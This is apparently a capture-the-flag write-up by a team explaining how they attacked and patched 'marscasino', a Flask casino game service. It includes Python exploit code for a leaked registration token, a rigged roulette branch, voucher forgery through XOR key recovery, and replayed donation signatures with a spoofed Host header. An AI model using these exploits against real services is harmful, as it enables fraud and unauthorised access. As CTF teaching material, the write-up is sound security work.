Saarsec

saarsec

Schwenk and pwn

FAUSTCTF 2020 - marscasino

Marscasino is a Python Flask service, which allows users to play on Mars’ casino! Users can register, to then (theoretically) have an access token sent to their IP address. Once logged in, they can sell articles, play roulette, and get vouchers. Finally, there is the option for the organizers to donate money to an account.

Step 1: Registration

When trying to register, we are asked for the IP address, to which our access token should be sent.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route("/register", methods = ['GET', 'POST'])
def register_view():
  # ...
  try:
    ipaddress.ip_address(ip)
  except:
    return render_template('register.html', title='Register', error="Your IP is not valid")
  # ...
  code = uuid.uuid4()
  url = f"http://{request.host}/verify?code={code}" 
  # ...
  try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((ip, 1337))
    s.send(url.encode())
  except Exception as e:
    print(e)
    error = f"Sending {code} failed"
  # ...
  return render_template('register.html', title='Register', username=username, ip=ip, error=error)

This bugged me at first; the CTF was run over IPv6. But, using a socket with AF_INET means we can only use IPv4; so that code could never work to send the registration token to another team. However, paying a bit more attention, we can see that in line 19 of the snippet, we see that the variable error is assigned the code; and the variable error ends up being rendered in the page later on. Hence, instead of trying to leak the token via IPv4, we can just extract it from the page.

So, the first part of our “marscasino client” does just that

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests, re
def exploit(target):
  sess = requests.Session()
  username = randomstring(20)
  password = randomstring(20)

  data = {"username": username,
          "password": password,
          "ip": "127.0.0.1",
          "fcode": ""
          }
  # register & extract token
  sess.get("http://[%s]:7777/register" % target, timeout=5)
  code = re.findall("Sending (.*) failed", sess.post("http://[%s]:7777/register" % target, data=data).text)[0]
  # confirm token
  sess.get("http://[%s]:7777/verify?code=%s" % (target, code))
  # and log in
  sess.post("http://[%s]:7777/login" % target, data={"username": username, "password": password})

Interlude: Flag storage

We found the second bug (the XOR one) before the start of the CTF, but were left guessing where flags might be. It turned out that the gameserver would sign up for an account, and then have an item for sale, giving it a random price well above the 50 coins a user got for initial signup. Hence, we needed a way to get more coins, which is how all the bugs actually worked.

POST /home HTTP/1.1
Host: [fd66:666:85::2]:7777
Cookie: session=9fbd4c9a-cb87-429b-a160-466cc3568a7a
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
Connection: close

item=FAUST_XwjnsABVA33habMAAAAATOoAlfrubapx&item_cost=5122

Bug 1: Game 1 (Roulette)

We exploited this bug as the second bug, but let’s start with it in either case.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
@app.route("/game1", methods = ['GET', 'POST'])
def game1_view():
  # ...
  answers = ["red","black","first","second","third"]
  answers += ["%d" % i for i in range(0,36)]
  # ...
  if request.method == 'POST':
    bet = request.form['bet']
    field = request.form['field']
    # ...
    bet = int(bet)

    error = remove_coins(user, bet)
    # ...
    field = field.lower()
    number = random.randint(0,36)
    if field == "red" and number in red:
      # ... many elifs
    elif field.isdigit() and int(field) == 0:
      win = bet * 36
    # ...
    error = add_coins(user, win)

This is obviously roulette, but with a twist. Essentially, as highlighted in the abbreviated code, if the user sends as the field the value 0, we always win 36x of our bet. Hence, it’s very easy to make money ;-)

Given that we cannot go over 100000 coins and also given that we start with 50 coins, it suffices to just win this game two times:

1
2
3
4
5
6
7
8
9
10
11
  # Started with 50 ==> got 1800 now 
  sess.post("http://[%s]:7777/game1" % (target), data={"bet": 50, "field": 0})
  # Started with 1800 ==> got 64800 now
  sess.post("http://[%s]:7777/game1" % (target), data={"bet": 1800, "field": 0})
  # now buy some stuff
  item_overview = sess.get("http://[%s]:7777/buy" % target).text
  for buylink, cost in re.findall("(/buy\?u=.*?)\".*?\((\d+) coins", buys, flags=re.S):
    if int(cost) < 100: # Gameserver did not seem to do that
      continue
    # buy flag 
    printflags(sess.get("http://[%s]:7777%s" % (target, buylink)).text)

The actual exploit is a bit more involved, as we stored previously bought flags in a Redis instance to avoid unnecessary overhead, and also filled up the coins when we had too little money. But you get the idea…

Bug 2: Game 2 (Voucher)

We actually exploited this bug first, also giving us first blood for the service in the CTF.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
@app.route("/game2", methods = ['GET', 'POST'])
def game2_view():
  create_key()
  # ...
  ts = datetime.datetime.now().replace(microsecond=0)
  key = KeyModel.query.filter(KeyModel.created <= ts)\
              .order_by(KeyModel.created.desc()).first() 
  key = key.key
  value = random.randint(0, int(1.3 * bet))

  v_model = VoucherModel()
  db.session.add(v_model)
  db.session.commit()

  code = f"{user.username};{value};{v_model.voucher_id}"

  res = ""
  for i, c in enumerate(code):
    res += chr(ord(c) ^ ord(key[i%len(key)]))

  vdata = {"ts":ts.strftime('%s'), "code":res.encode().hex()}
  voucher = base64.b64encode(json.dumps(vdata).encode())
  db.session.commit()
  return render_template('game2.html', title='Game', user=user, voucher=voucher.decode())

So, looking at the core functionality, we provide some bet to the service, where the value is then generated using a random number between 0 and 1.3 to calculate the worth. What is more interesting, of course, if how the voucher is then generated. Using the key we get from the database in line 6, it’s just the code that is begin XORed with the key, which yields the final voucher code. Checking create_key, we can see that the key generated by the application is always exactly 12 bytes long. Hence, given a known part of the XORed code that is at least 12 chars long, we can simply extract the XOR key, and use it to generate our own vouchers.

1
2
3
4
5
6
7
8
9
10
11
12
  voucher = json.loads(b64d(
    re.findall("Voucher: <b>(ey.*)</b>", 
      sess.post("http://[%s]:7777/game2" % target, data={"bet": 1}).text)[0]))
  code = unhex(voucher['code'])
  xorkey = xor(code2[:12], username[:12])
  unxored_voucher = xor(code, xorkey).decode().split(";")
  # We need a valid voucher ID, so we decrypt the full code first and then use the one from the service
  fake_voucher = xor(xorkey, "%s;95000;%s" % (username, unxored_voucher[2]))

  voucher['code'] = enhex(fake_voucher)
  sess.post("http://[%s]:7777/voucher" % target, data={"voucher": voucher})
  # Continue with buying as above

Bug 3: Donations (not exploited by us in the CTF)

The (last?) bug is the in the donations feature.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
@app.route("/donation")
def give_money_view():
  vk = ed25519.VerifyingKey(base64.b64decode(b'Dx85Piu9YYnySaPFa6yzrvy63HkzkscevAWTk1JVMxA='))
  payload = request.args.get('p')
  sig = request.args.get('s').replace(' ', '+')
  
  try:
    vk.verify(sig.encode(), payload.encode(), encoding="base64")
    user = payload.split(';')[0]
    amt = payload.split(';')[1]
    ip = payload.split(';')[2]
    
    if ip != request.host.replace("[","").split("]")[0]:
      return "fail"

    user = UserModel.query.filter_by(username=user).first()
    user.coins += int(amt)
    db.session.commit()
  except ed25519.BadSignatureError:
    return "fail"
  return "ok"

Without trying to understand if the VerifingKey is somewhat weak, there is another bug in the service here. Assuming only the gameserver knows the SigningKey, we can leverage any donation we receive ourselves.

The check in line 13 attempts to ensure that the requested hostname is the same as the IP address contained in the donation. However, the service itself does not check if the provided Host header is actually the IP address of our vulnbox or not. Hence, we can simply use a donation that was made to us, register the corresponding username with other teams, and use the donation code. Since old users are also deleted after 5 minutes, we could have just used the same user over and over again.

1
2
3
4
5
6
7
8
9
10
11
  # p and s as received on our machine
  p="3WXsXh1crKL;10000;fd66:666:85::2"
  s="rpjb3diN5Lt6NInPfKn0JAzMcdr3A41EQqlNUVdoNFbzmvNaVyZO0j/JK36DKELzqEYNWX1eUgNzvXEBYC4cDw"

  # assumes we already registered a user named '3WXsXh1crKL' on target

  sess.get("http://[%s]:7777/donation" % target, 
           params={"p": p, "s": s},
           headers={"Host": "fd66:666:85::2"}) 
  # User 3WXsXh1crKL now has +10000 coins
  # Proceed with buying now

Since the donation method has no checks for double-spending, we could have easily called this over and over again to get sufficient funds.

Fixing the bugs (properly, or in CTF style)

For game1, we simply disabled the use of the number 0 for betting, by redirecting the user to / whenever they attempted to bet on 0. For game2, we deployed an even dirtier fix: instead of using 12 bytes for the XOR key, we used 11. Since the assumption in the CTF is that nobody attempts to manually attack others, this was sufficient to throw off any exploits. The properly solution would have been to use some form of signature on the voucher, but this fix took about 1s :-)

Finally, for the donation (which we did not exploit, but saw in our traffic towards the end of the CTF), it would have been sufficient to ensure that the Host header sent to the service actually matched our IP address. Interestingly, we could only see legitimate use of the feature about 10 times, stopping at 17:37. So, turning the feature off would have also done the trick.

Summary

Overall nice service, which unfortunately had a small bug in it, which lead to the orgas pushing an update to all teams at some point. It was a bit sad to see the donation feature only used so sparsely, as my initial check in the first hour or so of the CTF revealed it was never used.

In total, we managed to get 4,778 flags on this service, the most of any team in the CTF on the service (incl. first blood)